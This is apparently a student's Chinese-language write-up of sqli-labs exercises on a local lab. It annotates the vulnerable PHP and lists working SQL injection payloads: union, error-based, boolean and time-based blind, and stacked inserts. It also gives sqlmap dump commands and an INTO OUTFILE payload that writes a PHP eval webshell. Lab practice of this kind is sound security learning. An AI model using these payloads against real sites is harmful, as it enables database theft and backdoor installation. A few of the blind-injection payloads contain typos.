在做题之前先复习了数据库的增删改查,然后自己用本地的环境,在自己建的库里面进行了sql语句的测试,主要是回顾了一下sql注入联合注入查询的语句和sql注入的一般做题步骤。
1.获取当前数据库
2.获取数据库中的表
3.获取表中的字段名
一、sql注入的原理
SQL注入是一种安全漏洞,它允许攻击者通过在应用程序的输入中插入或者操作SQL命令来改变后端数据库的查询和操作。SQL注入的主要原因是代码中直接将用户输入与SQL命令拼接在一起,没有进行适当的验证或清理,导致输入可以被解释为SQL的一部分而不是数据。攻击者通过将恶意的 Sql 查询或添加语句插入到应用的输入参数中,再在后台 Sql 服务器上解析执行进行的攻击,实现无账号登录,甚至篡改数据库等,它是目前黑客对数据库进行攻击的最常用手段之一。
二、sql注入的分类
根据注入技术分类有以下五种:
布尔型盲注:根据返回页面判断条件真假
时间型盲注:用页面返回时间是否增加判断是否存在注入
基于错误的注入:页面会返回错误信息
联合查询注入:可以使用union的情况下
堆查询注入:可以同时执行多条语句
详情可参考:SQL注入(上)_sql的flag-CSDN博客
三、sql注入的专项练习
sql注入的一般做题步骤(适用于联合查询注入和报错注入):
1.判断是整数型还是字符型
判断方法:输入id =1 and 1=1,发现没有变化,换成and 1=2有变化,则为整数型
2.用 ’ 进行测试,发现页面报错,证明可以进行sql注入
3.判断sql注入的类型,并使用相对于的方法进行解决
4.判断有几个字段
5.爆当前数据库
6.爆表明
7.爆字段名
8.爆出数据
(1)联合查询注入(sqlilabs中的less-1)
联合查询注入的原理:
首先是这个sql注入可以使用union select语句,其次是将联合语句与用户输入相结合,让联合语句能够在服务器上执行,实现我们对数据的查询与获取,在查询的过程中页面只会呈现数据中的一行数据,这时候就得不到我们要的数据,此时,要用-将前面的注释掉,也可以把-1理解为空字符,那么他就会执行后面的联合语句,最后实现注入
代码审计:
<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
//这行代码引入了位于上级目录sql-connections下的sql-connect.php文件,这个文件通常包含了数据库连接所需的参数和函数。
error_reporting(0);
// take the variables
if(isset($_GET['id'])) //检查是否通过GET方法传递了名为id的参数。
{
$id=$_GET['id']; //如果id参数存在,将其值赋给变量$id。
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
//日志记录部分
使用fopen, fwrite, 和 fclose 函数将ID信息追加到一个名为result.txt的文本文件中。
// connectivity
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
//构建SQL查询语句,用于从users表中检索与给定ID匹配的用户记录。
$result=mysql_query($sql);
//使用mysql_query函数执行SQL查询,并将结果存储在$result中。
$row = mysql_fetch_array($result);
//从查询结果中获取一行数据,并将其存储在$row数组中。
if($row)
{
echo "<font size='5' color= '#99FF00'>";
echo 'Your Login name:'. $row['username'];
echo "<br>";
echo 'Your Password:' .$row['password'];
echo "</font>";
}
else
{
echo '<font color= "#FFFF00">';
print_r(mysql_error());
echo "</font>";
}
}
//如果$row不为空(即找到了匹配的记录),则输出用户名和密码;否则,输出MySQL错误信息。
else { echo "Please input the ID as parameter with numeric value";}
//如果没有通过GET方法传递id参数,则输出错误消息。
?>
总体来说,这段代码的目的是从数据库中检索与给定ID匹配的用户信息,并将结果或错误信息显示在页面上。
方法一 手注
1.根据页面回显,判断出为字符型注入,且为单引号闭合方式
2.这个题也可以使用报错注入 ,这里使用联合注入的方法,先判断出字段数,判断出一共有三个字段
3.判断出当前数据库为security,注意:这里 需要在1之前加上-,这是为了后面union语句的执行
4.判断表名,输入
http://sql/Less-1/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
5.判断出字段,输入:
http://sql/Less-1/?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
6.爆数据,输入:
http://sql/Less-1/?id=-1' union select 1,2,group_concat(username,id,password) from users--+
方法二 使用sqlmap
资料:SQLMap使用教程:从入门到入狱详细指南-CSDN博客
1.爆数据库名
python sqlmap.py -u "http://sql/Less-1/?id=1" --dbs --batch
2.爆表名
python sqlmap.py -u "http://sql/Less-1/?id=1" -D security --tables
3.爆字段
python sqlmap.py -u "http://sql/Less-1/?id=1" -D security -T users --columns
4.爆数据
python sqlmap.py -u "http://sql/Less-1/?id=1" -D security -T users -C id,username,password --dump --batch
(2)报错注入(less-5)
原理:
利用数据库在执行错误的sql语句时,会返回相应的错误信息,这些错误信息可以帮助攻击者了解数据库的结构和内容,因为想要的信息会跟着报错的信息一起出现
代码审计:
// 包含数据库连接参数
include("../sql-connections/sql-connect.php");
// 关闭错误报告(不推荐在开发环境中使用)
error_reporting(0);
// 检查是否存在 'id' GET 参数
if(isset($_GET['id']))
{
// 获取 'id' 参数的值
$id = $_GET['id'];
// 将 'id' 写入日志文件
$fp = fopen('result.txt', 'a');
fwrite($fp, 'ID:'.$id."\n");
fclose($fp);
// 构建查询语句并执行
$sql = "SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result = mysql_query($sql); // 注意:mysql_* 函数已废弃
// 提取查询结果
$row = mysql_fetch_array($result);
// 检查查询结果
if($row)
{
// 显示成功消息
echo '<font size="5" color="#FFFF00">';
echo 'You are in...........';
echo "<br>";
echo "</font>";
}
else
{
// 显示错误信息
echo '<font size="3" color="#FFFF00">';
print_r(mysql_error()); // 显示 MySQL 错误信息
echo "</br></font>";
}
}
else
{
// 如果 'id' 参数不存在,则显示错误消息
echo "Please input the ID as parameter with numeric value";
}
方法一 手注
1.判断出为字符型注入且单引号为闭合方式
2. 判断出有三个字段
3.判断当前数据库
http://sql/Less-5/?id=-1' and (updatexml(1,concat('~',database()),3))--+
4.判断表
http://sql/Less-5/?id=-1' and (updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema='security')),3))--+
5.判断出字段名
http://sql/Less-5/?id=-1' and (updatexml(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),3))--+
6.得数据
方法二 sqlmap的使用(与上题做法一样)
1.爆数据库
2.爆表
3.爆字段
4.得到数据
(3) 布尔盲注(less-8)
布尔是一种类型,核心是在于判断正确与否。布尔就是指这个页面有回显,但是不会显示具体内容,只会显示语句是否正常执行;
代码审计:
// 引入MySQL连接参数
include("../sql-connections/sql-connect.php");
// 关闭错误报告,不建议在生产环境中这么做
error_reporting(0);
// 检查GET参数中是否存在'id'
if(isset($_GET['id']))
{
// 获取'id'参数值
$id=$_GET['id'];
// 将连接参数记录到文件中
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
// 构造SQL查询语句
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
// 执行SQL查询
// 注意:这里使用了mysql_*系列函数,这是PHP的废弃函数,应使用mysqli_*或PDO
$result=mysql_query($sql);
// 获取查询结果
$row = mysql_fetch_array($result);
// 检查查询结果
if($row)
{
// 如果查询到数据,输出提示信息
echo '<font size="5" color="#FFFF00">';
echo 'You are in...........';
echo "<br>";
echo "</font>";
}
else
{
// 如果没有查询到数据,输出提示信息(但这里注释掉了错误信息)
echo '<font size="5" color="#FFFF00">';
echo "</br></font>";
echo '<font color= "#0000ff" font size= 3>'; // 注意这里font属性应该分开写
// 注释掉的错误信息,用于调试
// echo 'You are in...........';
// print_r(mysql_error());
// echo "You have an error in your SQL syntax";
// 缺少关闭<font>标签
}
}
else
{
// 如果没有提供'id'参数,输出提示信息
echo "Please input the ID as parameter with numeric value";
}
方法一 手注
函数:
ascii() 函数,返回字符ascii码值
参数 : str单字符
length() 函数,返回字符串的长度
参数 : str 字符串
left() 函数,返回从左至右截取固定长度的字符串
参数str,length
str : 字符串
length:截取长度substr()/substring() 函数 , 返回从pos位置开始到length长度的子字符串
参数,str,pos,length
str: 字符串
pos:开始位置
length: 截取长
1.在测试的过程中,发现不会有报错信息,这个也从源代码中体现了,使用布尔盲注,判断出为字符型注入且由源代码可得闭合方式为单引号
2.判断字段数
3.判断数据库的长度,使用length()函数,长度为8
http://sql/Less-8/?id=1' and length(database())>8--+
4.知道了数据库的长度,现在要来判断数据库的名称,得到数据库名字为"security"
?id=1' and (ascii(substr((select database()),1,1))) = 115--+
?id=1' and (ascii(substr((select database()),2,1))) = 101--+
?id=1' and (ascii(substr((select database()),3,1))) = 99--+
?id=1' and (ascii(substr((select database()),4,1))) = 117--+
?id=1' and (ascii(substr((select database()),5,1))) = 114--+
?id=1' and (ascii(substr((select database()),6,1))) = 105--+
?id=1' and (ascii(substr((select database()),7,1))) = 116--+
?id=1' and (ascii(substr((select database()),8,1))) = 121--+
5.判断表的数量,为4个
?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())>3 --+
6.分别判断这四个表的名称,第一个表的长度(结果为6):
?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>6 --+
7.判断第一个表的名称为emails,剩下的表名都是以此类推,得到最后的表为users
注意:这里limit是控制是哪一个表,例如:limit 0,1是第一个表;limit 1,1是第二个表
再熟悉一下substr()函数的用法就可以了
http://sql/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)) >101--+
http://sql/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),2,1)) >109--+
http://sql/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),3,1)) >97--+
http://sql/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),4,1)) >105--+
.
.
.
8.爆字段的列数,得到有三列
http://sql/Less-8/?id=1' and (select count(column_name) from information_schema.columns where table_schema='security' and table_name='users') >3--+
9.爆这三个列的列明,先爆第一个列的长度,长度为2
http://sql/Less-8/?id=1' and length((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1)) =2--+
10.爆第一个列的列名,得到第一列为id,其他的两个也是以此类推,分别得到username,password
http://sql/Less-8/?id=1' and ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1)) >105--+
http://sql/Less-8/?id=1' and ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),2,1)) >100--+
11.获取数据,先判断数据的条数
http://sql/Less-8/?id=1' and (select count(*) from users)>13 --+
12.判断第一条数据,其他数据都是类似的方法,可以得到所有数据
判断第一个id的长度(长度为1):
http://sql/Less-8/?id=1' and length((select id from users limit 0,1))=1 --+
判断第一个id的数据(数据为1):
http://sql/Less-8/?id=1' and ascii(substr((select id from users limit 0,1),1,1))=49 --+
判断第一个username的长度(长度为4):
http://sql/Less-8/?id=1' and length((select username from users limit 0,1))>4 --+
判断第一个username的数据(数据为Dumb):
http://sql/Less-8/?id=1' and ascii(substr((select username from users limit 0,1),1,1))>68 --+
http://sql/Less-8/?id=1' and ascii(substr((select username from users limit 0,1),2,1))>117 --+
http://sql/Less-8/?id=1' and ascii(substr((select username from users limit 0,1),3,1))>109 --+
http://sql/Less-8/?id=1' and ascii(substr((select username from users limit 0,1),4,1))>98 --+
判断第一个password的长度(长度为4):
http://sql/Less-8/?id=1' and length((select password from users limit 0,1))>4--+
判断第一个paasword的数据(数据为Dumb):
http://sql/Less-8/?id=1' and ascii(substr((select password from users limit 0,1),1,1))>68 --+
http://sql/Less-8/?id=1' and ascii(substr((select password from users limit 0,1),1,1))>117 --+
http://sql/Less-8/?id=1' and ascii(substr((select password from users limit 0,1),1,1))>109 --+
http://sql/Less-8/?id=1' and ascii(substr((select password from users limit 0,1),1,1))>98 --+
.
.
.
也可以用以下的方法
方法二 sqlmap的使用(与上题一样)
1.爆数据库
2.爆表名
3.爆字段
4.爆数据
其他方法可参考:SQL注入的相关例题(ctfhub)_sql注入练习-CSDN博客
(4)时间盲注(less-9)
时间注入和布尔盲注两种没有多大差别只不过时间盲注多了if函数和sleep()函数。
sleep函数是令来控制响应时间的,sleep(5)就是令页面等5秒后再响应;
if函数(条件,条件成功返回结果,条件失败返回结果);if(a,sleep(10),1)如果a结果是真的,那么执行sleep(10)页面延迟10秒,如果a的结果是假,执行1,页面不延迟。通过页面时间来判断出id参数是单引号字符串。
先进行分析:
输入任何参数,页面都只有一种响应结果:You are in...........
无回显位置,不适合联合注入;
无报错信息,不适合报错注入;
查询的正确与否不会影响页面的响应(只有一种响应),不适合布尔盲注。
综上所述,考虑使用时间盲注。
资料:SQLi LABS Less 9 时间盲注_sqli-labs 时间盲注脚本第九关-CSDN博客
代码审计:
分析代码可得:这段代码与上一个代码不一样的地方在else,查询到数据与没有查到都是一样的回显,由此也可以知道页面都只有一种响应结果的原因,以及使用时间盲注的原因
方法一 手注
1.判断注入条件
?id=1' and if(1,sleep(5),3) --+
页面响应时间超过5秒,确定存在时间盲注,且闭合方式为单引号。
2.接下来,与布尔盲注差不多,判断数据库长度,判断数据库的名称.......
判断数据库名长度
?id=1'and if(length((select database()))>9,sleep(5),1)--+
逐一判断数据库字符
?id=1'and if(ascii(substr((select database()),1,1))=115,sleep(5),1)--+
猜解表名长度(此处都是以第一个表为例):
?id=1' and if(length(select table_name from information_schema.tables where table_schema = database() limit 0,1)>y,sleep(5),1)–-+
猜解表名:
?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,1,sleep(5))–-+
?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))=101,1,sleep(5))–-+
?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),3,1))=101,1,sleep(5))–-+.....
猜测字段的长度(以第一个字段为例):
?id=1' and if(length(select column_name from information_schema.columns where table_schema = database() and table_name='users' limit 0,1)>y,sleep(5),1)–-+
猜测列明:
?id=1' and if(ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),1,1))=101,1,sleep(5))–-+
......
猜测字段的条数:
?id=1' and if((select count(*) from users)>13,sleep(5),1)--+
....(判断数据可参考布尔盲注)
方法二 sqlmap的使用
1.爆数据库
2.爆表
3.爆字段
4.爆数据
(5)堆叠注入(less-38)
代码审计:
第38关的代码与之前的代码的不同之处主要在于出现了mysqli_multi_query()
函数,mysqli_multi_query()
函数支持同时执行多条SQL语句,而mysqli_query()
函数一次只能执行一条SQL语句。由此可见,可以使用堆叠注入
方法一 手注
1.判断为字符型的堆叠注入,且闭合方式为单引号,一共有三个字段
2.这里根据前面的方法可以知道相关的数据,使用堆叠注入,实现插入用户
http://sql/Less-38/?id=-1';insert into users(id,username,password) values ('38','less38','aaaaa')--+
3.查询插入的数据
#插入数据
insert into table_name(column_name_1,column_name_2,column_name_3) value(value_1,value_2,value_3);
#删除数据
delete from table_name where column_name_2=value_2;
#修改数据
update table_name set column_name_1=value_1 [,column_2=value_2...] where 字句;
#删除表
drop table table_name;
#读取文件
select load_file('文件路径');
方法二 sqlmap的使用
与上面的题都是一样的,这里只展示最后的结果
资料:https://www.cnblogs.com/backlion/p/9721687.html
(6)sql注入写马(less-7)
代码审计:
第七关的源代码与他之前的关卡的代码类似,只是在第七关中出现了outfile,在这里先了解几个函数
- into dumpfile()
- into outfile()
- load_file()
- 详细的函数解释可以去这个网站看https://www.cnblogs.com/7-58/p/14101610.html
方法一 手注
1.首先判断出是字符型,闭合方式可由源代码可得是'))
2.判断字段数,一共有三个字段
3.找绝对路径
我们可以选择
@@basedir
和@@datadir
来获取MYSQL的安装路径和数据路径。然后,利用outfile
和load_file()
函数,我们可以将查询结果写入文件,并读取文件内容。
本题的路径为:D:\phpstudy\phpstudy_pro\WWW\sqli-labs-master\Less-7
4.用into outfile函数写入一句话木马,其中两个\\是防转义
http://sql/Less-7/?id=1')) union select 1,"<?php eval($_REQUEST[shell])?>",3 into outfile "D:\\phpstudy\\phpstudy_pro\\WWW\\sqli-labs-master\\Less-7\\shell.php"--+
5.使用蚁剑连接
6.成功进入后门
方法二 sqlmap的使用(与前面的题一样)
(7)请求头注入(less-20)
一般来说,比较常见的请求头注入包括:User-Agent注入,Referer注入,Cookie注入
代码审计:
方法一 手注
1.这个题要先登录
2.使用bp抓包,修改cookie部分,判断出为字符型注入,且为单引号闭合
3. 可以使用联合注入,这里使用的是报错注入的方式,先判断出数据库
and updatexml(1,concat('~',database()),3)--+
4.判断表
and updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema='security')),3)--+
5.判断字段
and updatexml(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_name='users')),3)--+
6.判断数据
方法二 sqlmap的使用
由于这题是post请求,所以先使用burp进行抓包,然后将数据包存入txt文件中打包 用-r 选择目标txt文件,先在Cookie 处加上*代表注入点
1.爆当前数据库
python sqlmap.py -r 文件路径 --current-db --batch
2.爆表
python sqlmap.py -r D:\phpstudy\phpstudy_pro\WWW\sqli-labs-master
\Less-20\1.txt -D security --tables
3.爆字段
python sqlmap.py -r D:\phpstudy\phpstudy_pro\WWW\sqli-labs-master\Less-20\1.txt -D security -T users --columns
4.爆数据
python sqlmap.py -r D:\phpstudy\phpstudy_pro\WWW\sqli-labs-master\Less-20\1.txt -D security -T users -C id,username,password --dump